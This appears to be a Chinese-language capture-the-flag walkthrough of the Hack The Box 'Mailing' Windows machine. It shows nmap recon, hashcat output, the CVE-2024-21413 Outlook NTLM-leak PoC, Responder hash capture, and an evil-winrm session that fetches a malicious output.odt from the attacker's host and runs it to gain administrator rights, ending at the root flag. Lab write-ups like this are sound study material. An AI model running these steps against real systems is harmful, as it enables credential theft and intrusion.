└──╼ [★]$ nmap -sV 10.129.241.62 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 07:36 CDT Nmap scan report for 10.129.241.62 Host is up (0.086s latency). Not shown: 990 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 25/tcp open smtp hMailServer smtpd 80/tcp open http Microsoft IIS httpd 10.0 110/tcp open pop3 hMailServer pop3d 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 143/tcp open imap hMailServer imapd 445/tcp open microsoft-ds? 465/tcp open ssl/smtp hMailServer smtpd 587/tcp open smtp hMailServer smtpd 993/tcp open ssl/imap hMailServer imapd Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.73 seconds
酷欸好多東西開著。 whatweb 看一下 hostname：
1 2 3
└──╼ [★]$ whatweb 10.129.241.62 http://10.129.241.62 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.129.241.62], Microsoft-IIS[10.0], RedirectLocation[http://mailing.htb], Title[Documento movido], X-Powered-By[ASP.NET] ERROR Opening: http://mailing.htb - no address for mailing.htb
加到 /etc/hosts：
1 2
└──╼ [★]$ echo"10.129.241.62 mailing.htb" | sudo tee -a /etc/hosts 10.129.241.62 mailing.htb
└──╼ [★]$ cat hosts # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost
hMailServer was a free email server for Windows created by Martin Knafve. It ran as a Windows service and includes administration tools for management and backup. It had support for IMAP, POP3, and SMTP email protocols. It could use external database engines such as MySQL, MS SQL or PostgreSQL, or an internal MS SQL Compact Edition engine to store configuration and index data. The actual email messages were stored on disk in a raw MIME format. As of January 15th, 2022, active support and development were officially halted, although version 5.6 will continue to receive updates for critical bugs.
Where is the hMailServer.ini file located? C:\Program Files\hMailServer\Bin Open hMailServer. ini, typically located under C:\Program Files\hMailServer\Bin. Restart the hMailServer service.
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
Post Office Protocol (English: Post Office Protocol , abbreviation: POP ) is a member of the TCP/IP protocol family and was first defined by RFC 1939 issued in May 1996 . This protocol is primarily used to support remote management of email on the server using a client . The latest version is POP3 , whose full name is “Post Office Protocol - Version 3”, and the POP3 protocol that provides SSL encryption is called POP3S .
This script presents a proof of concept (PoC) for CVE-2024-21413, a significant security vulnerability discovered in Microsoft Outlook with a CVSS of 9.8. Termed the #MonikerLink bug, this vulnerability has far-reaching implications, including the potential leakage of local NTLM information and the possibility of remote code execution. Moreover, it highlights an attack vector that could bypass Office Protected View, thereby extending its threat to other Office applications.
這個漏洞主要是利用洩漏 NTLM 來達成 RCE，那這邊同時來看一下 NTLM 是什麼東西：
Windows New Technology LAN Manager (NTLM) is a suite of security protocols offered by Microsoft to authenticate users’ identity and protect the integrity and confidentiality of their activity. At its core, NTLM is a single sign on (SSO) tool that relies on a challenge-response protocol to confirm the user without requiring them to submit a password.
Despite known vulnerabilities, NTLM remains widely deployed even on new systems in order to maintain compatibility with legacy clients and servers. While NTLM is still supported by Microsoft, it has been replaced by Kerberos as the default authentication protocol in Windows 2000 and subsequent Active Directory (AD) domains.
[+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] MQTT server [ON] RDP server [ON] DCE-RPC server [ON] WinRM server [ON] SNMP server [OFF]
[+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Force ESS downgrade [OFF]
[+] Generic Options: Responder NIC [tun0] Responder IP [10.10.14.26] Responder IPv6 [dead:beef:2::1018] Challenge set [random] Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL'] [+] Current Session Variables: Responder Machine Name [WIN-I72N069R99L] Responder Domain Name [HO9K.LOCAL] Responder DCE-RPC Port [46780] [+] Listening for events...
ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled.
This shell is the ultimate WinRM shell for hacking/pentesting.
WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.
This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.
It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines.
總結來說 evil-winrm 是一個針對 Windows 的遠程管理工具，透過 PSRP 協議並且開在 5985 port。 用法如下：
*Evil-WinRM* PS C:\Users\maya\Documents> cd /Imp* *Evil-WinRM* PS C:\Important Documents> curl-o output.odt 10.10.14.26:8000/output.odt *Evil-WinRM* PS C:\Important Documents> net users maya User name maya Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 2024-04-12 4:16:20 AM Password expires Never Password changeable 2024-04-12 4:16:20 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 2024-08-17 6:11:03 AM Logon hours allowed All Local Group Memberships *Remote Management Use*Usuarios *Usuarios de escritori Global Group memberships *Ninguno The command completed successfully. *Evil-WinRM* PS C:\Important Documents> ./output.odt *Evil-WinRM* PS C:\Important Documents> net users maya User name maya Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set2024-04-124:16:20 AM Password expires Never Password changeable 2024-04-124:16:20 AM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 2024-08-176:11:03 AM
Logon hours allowed All
Local Group Memberships *Administradores *Remote Management Use *Usuarios *Usuarios de escritori Global Group memberships *Ninguno The command completed successfully.
雖然不知道為什麼，但是 output.odt 在家目錄下的 Documents 執行不會成功，要在 C:\Important Documents 執行才會生效，可以看到執行前後 user maya 的 Local Group Memberships 變成 Administradores。 接下來我們要用 localadmin 的身份登入會需要他的 hash，我們可以用 crackmapexec：
[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>cd Users C:\Users>cd localadmin C:\Users\localadmin>cd Desktop C:\Users\localadmin\Desktop>dir Volume in drive C has no label. Volume Serial Number is 9502-BA18
Directory of C:\Users\localadmin\Desktop
2024-04-1206:10 AM <DIR> . 2024-04-1206:10 AM <DIR> .. 2024-02-2705:30 PM 2,350 Microsoft Edge.lnk 2024-08-1610:41 AM 34 root.txt 2 File(s) 2,384 bytes 2Dir(s) 4,476,936,192 bytes free
